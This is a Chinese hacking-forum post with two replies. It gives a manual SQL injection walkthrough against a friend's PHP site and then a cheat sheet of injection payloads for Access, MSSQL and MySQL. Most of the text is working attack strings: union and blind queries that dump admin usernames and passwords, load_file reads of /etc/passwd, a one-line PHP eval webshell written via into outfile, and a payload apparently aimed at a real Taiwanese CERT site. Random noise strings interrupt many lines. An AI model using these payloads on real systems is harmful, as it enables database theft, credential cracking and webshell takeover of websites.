中国网络渗透测试联盟

标题: 手工注入拿下一站 [打印本页]

作者: admin    时间: 2012-9-23 14:47
标题: 手工注入拿下一站
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
9 L( \. K9 R' ^( a( n; X让我看看,既然人家开口了,我也不好拒绝,那就看看吧?3 {0 O/ k( r2 x6 o+ D
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
! a1 G/ p/ Z6 v7 N! b如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)! S9 n- L1 F; u4 u6 h
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)8 S: H  J# l3 M, L( A+ m
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:" e) m" m+ `) `$ ?/ y4 n
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in4 M  k( l! e0 Z# y+ t9 y$ a
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入: s  l* x$ N& j) V; w
                         8 I+ n' p1 }  g4 @) D2 }
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
+ |- I* V3 q" s' h( f3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
1 _0 C3 k* V% v% }0 X& x4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息( P% ?9 s+ N0 U
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。' K0 l4 q; F8 Y' ^
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,9 ?+ A( K0 w2 ~6 M
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。; @3 `6 M; X% W% K
我就用的是第二个思路,
& S8 l# ?; f" [5 }( ^' ]* N  S提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  
, S7 S+ [. @' T0 o6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
3 A4 w+ Z* d# G% U% g3 O5 W) y提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--$ n( i2 |4 i$ f
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。+ h( z/ p9 S- U. b7 ?2 N. E; ^
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????, _! t/ [0 l( |; f: Q) m
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....( \& x, F# U3 R) o5 j: K
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --: ^3 q, z% \' H. ?$ v: v8 O" z1 o
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,: U& j$ L" q+ ~6 p
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限....... H/ o9 x0 {( P* E# [
下面是一些很普遍注入方式资料:& K( i2 @; u" M/ ]; q* k  b& R% H
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
' E. ?( _, k: {' l+ E拆半法
4 X7 d: A, ~: F######################################
2 K/ L; F7 e  U( E. land exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
' I2 _' S  y+ {+ l% J5 G3 s7 Eand exists (select * from admin)
0 @" a8 z8 f; B! l6 O1 _5 {- O" G" pand exists(select id from admin)
  q5 E$ V5 |1 O' @6 R1 P; oand exists(select id from admin where id=1)
0 g" [: [" C+ Y+ i) |3 Fand exists(select id from admin where id>1)
. ?  `, w2 ^) e) S4 N7 ^7 ]; y  Y然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
: ^/ O: [* q8 i. land exists (select username from admin)' `& s# ^! B7 q: V6 f+ @4 B2 ]
and exists (select password from admin)5 Y8 K% y4 d8 X. y! o
and exists (select id from admin where len(username)<10 and id=1). ]$ O  V: |$ e+ M
and exists (select id from admin where len(username)>5 and id=1)! Y& q- q! v, X' O5 e& R. Z8 c
and exists (select id from admin where len(username)=6 and id=1)' C9 V. @; U# _
and exists (select id from admin where len(password)<10 and id=1)
8 m* m6 M3 ~" l- `4 [and exists (select id from admin where len(password)>5 and id=1)$ [$ L0 f1 k" Z1 B' g4 C
and exists (select id from admin where len(password)=7 and id=1)+ t8 Q, f( s  U+ l
and (select top 1 asc(mid(username,1,1)) from admin)=97; g/ Z, g; E  }' _# B" P
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。, x7 p  Z# M9 U7 P' }$ K
猜第二位把username,1,1改成username,2,1就可以了。: s4 y2 V. u( p
猜密码把username改成password就OK了( u: P9 C( t) |1 T5 Z7 E- I& g, m
##################################################6 E' W0 ^; @5 g* S" q
搜索型注入
4 h2 I) K5 e6 s- ^* A##################################. h9 L: Z6 \! Y/ z* T
%' and 1=1 and '%'='
  N1 u* f- X( B" R5 G%' and exists (select * from admin) and '%'='; M, }0 ~/ b9 @1 _
%' and exists(select id from admin where id=1) and '%'='
; P, g9 q) w* G1 ~9 n' E; ]%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
: w+ ~; Z9 C4 B' H% W%' and exists (select id from admin where len(password)=7 and id=1) and '%'='  h( m2 `+ p! o/ h% f
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
8 `3 m7 c: z0 j* H1 h这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='4 n, b( i2 W* W2 K! S, g9 z5 l
对于MSSQL数据库,后面可以吧 and '%'='换成--
9 [; C2 z; _6 t5 b还有一点搜索型注入也可以使用union语句。4 h! T6 e6 p1 P3 h. ?1 q
######################################################### X+ v" N! j% M1 u
联合查询。
% u7 O# R: |& V" G#####################################2 K6 F! K5 K; y9 A5 |2 z
order by 10
6 {$ G0 ]% H8 l, Eand 1=2 union select 1,2,3,4,5,6,7,8,9,10
: E; k0 T, [4 g# N4 _) s5 tand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
6 a& y5 K$ |4 U" `0 w/ M/ Q6 O- K# Uand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
+ {8 F5 v2 `! R  V9 j很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)4 c1 X# g0 H, K7 `7 ?; g
###################################9 O5 K% d' ^5 u5 ]# P5 P, g1 x3 ], L% p
cookie注入
( i. N) ]8 b* Z% q3 @###############################  [; [2 Z6 I. O6 }7 z# v0 D% _$ [
http://www.******.com/shownews.asp?id=127$ J5 @* \9 h& o! S
http://www.******.com/shownews.asp
# C+ ]/ _  I2 @alert(="id="+escape("127"));
, v" @1 T6 w2 B* S' x2 M3 w+ J! i' M# Ualert(="id="+escape("127 and 1=1"));
( B5 @+ ]  r! M% l: balert(="id="+escape("127 order by 10"));% G( E1 L0 [/ o: }# c9 ^' ]3 E& y
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));; W# Y4 ]" S: E( `! u, O! i
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
7 f; M, y. R. b" R: u) Y这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
/ g. K, t5 n9 E0 ?7 u  f1 E; N###################################
& n: B9 H4 {. s5 ~2 K( K- [" `偏移注入$ t" a3 g0 N- j2 h0 y* @: c/ t& |( k
###########################################################
6 j# B: J, j. E# a+ p) Yunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
# ~& C  A9 \+ v" V- g( ~5 T* vunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin% z; x7 D5 v+ k/ `- f' d
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
) W3 o! F: y# Y' K6 O  sunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
8 X  T3 U# C5 R' u% dunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)& l/ a! B& ~5 X7 H: w: }9 c8 p
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)$ J, Y% g7 T, w* t
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on* v* I+ g, u) @# u/ Z8 e  Z) A
a.id=d.id)- m, R3 o! @# ]8 f! N8 c8 D
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)) D3 R- r$ e! U3 H
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
  D0 u; i; W4 ]1 E. L' v/ p  * s3 I- y1 U; q. M2 Q% L/ q
============================================================================================================
- T. R7 ~4 Y  G1.判断版本; \' Z* a4 L, Z( r
and ord(mid(version(),1,1))>51
; Y( w$ `7 l* \3 S( O- M8 ]返回正常,说明大于4.0版本,支持ounion查询# @1 t# b' i5 |) |! a2 e9 _* O# Y
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解& V9 J6 S5 U5 c
and 2=4 union select 1,2,3,4,5,6,7,8,9--( W; F- L0 W* U
3.查看数据库版本及当前用户,0 i3 \7 j7 A/ E! K& D! T( q
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--- V  ^2 p* x+ a+ K7 D7 Z
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
5 S3 M7 W" Z1 @" T5 L/ b% Q4.判断有没有写权限* A" n1 b, P1 d( Z  J9 q8 D
and (select count(*) from MySQL.user)>0--
% \) u" k2 P" |0 b5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
3 t( I: O" z6 A( O' C用不了这个命令,就学习土耳其黑客手法,如下% _6 l8 ^9 d: Y' ]0 t" K5 F, \( s
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
" Q5 r  }, b- Z6.爆表,爆库$ }6 A: c1 l, p8 N4 _
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--8 R9 a, X1 h) S% o6 F% R$ q
7.爆列名,爆表8 Q' Z6 T* \, a: F8 J+ G& F1 a# V
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--/ W! q8 ^9 R' U1 ~/ W
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
% Q8 E; v% f, D' {6 w: p3 Mand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--4 X4 C0 W. i" ?2 m" s
9.爆字段内容* X4 G2 e8 S) M& L5 u+ ^4 R; {% s7 Z) N
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
( R& ?. }) f3 P$ B2 vhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
作者: xiancda    时间: 2012-9-24 21:40
非常好的归纳。坐下慢慢看~
作者: wuyu    时间: 2012-9-25 18:53
谢谢分享,学习思路啊




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2